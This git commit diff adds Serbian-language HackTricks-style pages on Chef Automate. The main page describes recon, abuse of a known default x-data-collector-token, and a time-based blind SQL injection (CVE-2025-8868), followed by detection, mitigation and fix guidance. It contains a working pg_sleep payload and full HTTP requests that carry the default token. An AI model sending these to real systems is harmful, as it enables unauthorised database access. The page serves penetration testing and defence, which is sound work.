Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA

This commit is contained in:
Translator
2025-09-30 19:29:54 +00:00
parent 45524eec4a
commit 05da8f6b24
3 changed files with 160 additions and 2 deletions

View File

@@ -0,0 +1,18 @@
# Chef Automate Sigurnost
{{#include ../../banners/hacktricks-training.md}}
## Šta je Chef Automate
Chef Automate je platforma za automatizaciju infrastrukture, usklađenost i isporuku aplikacija. Izlaže web UI (često Angular) koji komunicira sa backend gRPC servisima preko gRPC-Gateway, pružajući REST-slične krajnje tačke pod putanjama kao što je /api/v0/.
- Uobičajene backend komponente: gRPC services, PostgreSQL (često vidljivo preko pq: error prefiksa), data-collector ingest service
- Mehanizmi autentifikacije: user/API tokens i data collector token header x-data-collector-token
## Enumeration & Attacks
{{#ref}}
chef-automate-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,142 @@
# Chef Automate Enumeration & Attacks
{{#include ../../banners/hacktricks-training.md}}
## Pregled
Ova stranica sakuplja praktične tehnike za enumeraciju i napade na Chef Automate instance, sa naglaskom na:
- Otkrivanje gRPC-Gateway-backed REST endpointa i zaključivanje shema zahteva putem odgovora o validaciji/greškama
- Zloupotreba headera x-data-collector-token za autentifikaciju kada su prisutne podrazumevane vrednosti
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) koji utiče na filters[].type polje u /api/v0/compliance/profiles/search
> Napomena: Backend odgovori koji uključuju header grpc-metadata-content-type: application/grpc obično ukazuju na to da gRPC-Gateway povezuje REST pozive sa gRPC servisima.
## Recon: Architecture and Fingerprints
- Front-end: Često Angular. Statički bundle-i mogu nagovestiti REST putanje (npr. /api/v0/...)
- API transport: REST ka gRPC preko gRPC-Gateway
- Odgovori mogu uključivati grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Tela grešaka koja počinju sa pq: snažno ukazuju na PostgreSQL sa Go pq driverom
- Zanimljivi Compliance endpointi (zahteva autentifikaciju):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
## Auth: Data Collector Token (x-data-collector-token)
Chef Automate izlaže data collector koji autentifikuje zahteve putem posebnog headera:
- Header: x-data-collector-token
- Rizik: Neka okruženja mogu zadržati podrazumevani token koji daje pristup zaštićenim API rutama. Poznat podrazumevani token viđen u prirodi:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
Ako postoji, ovaj token se može iskoristiti za pozivanje Compliance API endpointa koji su inače zaštićeni autentifikacijom. Uvek pokušajte rotirati/onemogućiti podrazumevane vrednosti tokom hardeninga.
## API Schema Inference via Error-Driven Discovery
gRPC-Gateway-backed endpointi često leak-uju korisne greške validacije koje opisuju očekivani model zahteva.
Za /api/v0/compliance/profiles/search, backend očekuje body sa nizom filters, gde je svaki element objekat sa:
- type: string (identifikator polja filtera)
- values: array of strings
Example request shape:
```json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
}
```
Neispravan JSON ili pogrešni tipovi polja obično izazivaju 4xx/5xx odgovore sa nagoveštajima, a zaglavlja ukazuju na ponašanje gRPC-Gateway. Iskoristite to da mapirate polja i lokalizujete površine za injekciju.
## Compliance API SQL Injection (CVE-2025-8868)
- Pogođeni endpoint: POST /api/v0/compliance/profiles/search
- Tačka injekcije: filters[].type
- Tip ranjivosti: time-based blind SQL injection in PostgreSQL
- Uzrok: Nedostatak pravilne parametrizacije/whitelistinga pri interpolaciji polja type u dinamički SQL fragment (verovatno korišćen za konstrukciju identifikatora/WHERE klauza). Namerno konstruisane vrednosti u type se evaluiraju od strane PostgreSQL.
Funkcionalan time-based payload:
```json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Napomene tehnike:
- Zatvorite originalni string jednostrukim apostrofom (')
- Konkatenirajte podupit koji poziva pg_sleep(N)
- Ponovo uđite u kontekst stringa preko || tako da konačni SQL ostane sintaksički ispravan bez obzira gde je type ugrađen
### Dokaz pomoću diferencijalne latencije
Pošaljite uparene zahteve i uporedite vreme odgovora da biste potvrdili izvršavanje na strani servera:
- N = 1 sekunda
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
```
- N = 5 sekundi
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Observed behavior:
- Vremena odziva se povećavaju proporcionalno pg_sleep(N)
- HTTP 500 odgovori mogu uključivati pq: detalje tokom ispitivanja, potvrđujući putanje izvršavanja SQL-a
> Savet: Koristite alat za merenje vremena (npr. više pokušaja sa statističkim poređenjem) da smanjite šum i lažno pozitivne rezultate.
### Impact
Autentifikovani korisnici — ili neautentifikovani akteri koji zloupotrebljavaju podrazumevani x-data-collector-token — mogu izvršavati proizvoljan SQL unutar PostgreSQL konteksta Chef Automatea, ugrožavajući poverljivost i integritet profila usklađenosti, konfiguracije i telemetrije.
### Affected versions / Fix
- CVE: CVE-2025-8868
- Preporuka za nadogradnju: Chef Automate 4.13.295 ili noviji (Linux x86) prema obaveštenjima dobavljača
## Detection and Forensics
- API layer:
- Pratite 500 odgovore na /api/v0/compliance/profiles/search gde filters[].type sadrži navodnike ('), operator konkatenacije (||), ili reference na funkcije kao pg_sleep
- Pregledajte zaglavlja odgovora za grpc-metadata-content-type kako biste identifikovali gRPC-Gateway tokove
- Database layer (PostgreSQL):
- Auditujte pozive pg_sleep i greške neispravnih identifikatora (često prikazane sa prefiksima pq: koji dolaze iz Go pq drajvera)
- Authentication:
- Zapisujte i postavljajte upozorenja za upotrebu x-data-collector-token, naročito poznatih podrazumevanih vrednosti, preko API ruta
## Mitigations and Hardening
- Immediate:
- Zamenite/onemogućite podrazumevane data collector tokene
- Ograničite pristup do data collector endpointa; zahtevajte jake, jedinstvene tokene
- Code-level:
- Parametrišite upite; nikada ne konkatenirajte SQL fragmente kao stringove
- Strogo izričito dozvolite samo prihvatljive vrednosti polja type na serveru (enum)
- Izbegavajte dinamičko sklapanje SQLa za identifikatore/klauzule; ako je dinamičko ponašanje neophodno, koristite bezbedno citiranje identifikatora i eksplicitne bele liste
## Practical Testing Checklist
- Proverite da li se x-data-collector-token prihvata i da li poznati podrazumevani radi
- Mapirajte šemu zahteva Compliance APIja izazivanjem grešaka validacije i čitanjem poruka o grešci/zaglavlja
- Testirajte za SQLi u manje očiglednim „identifier-like“ poljima (npr. filters[].type), ne samo u nizovima vrednosti ili toplevel tekstualnim poljima
- Koristite tehnike zasnovane na vremenu uz konkatenaciju da biste održali SQL sintaksno važećim u različitim kontekstima
## References
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}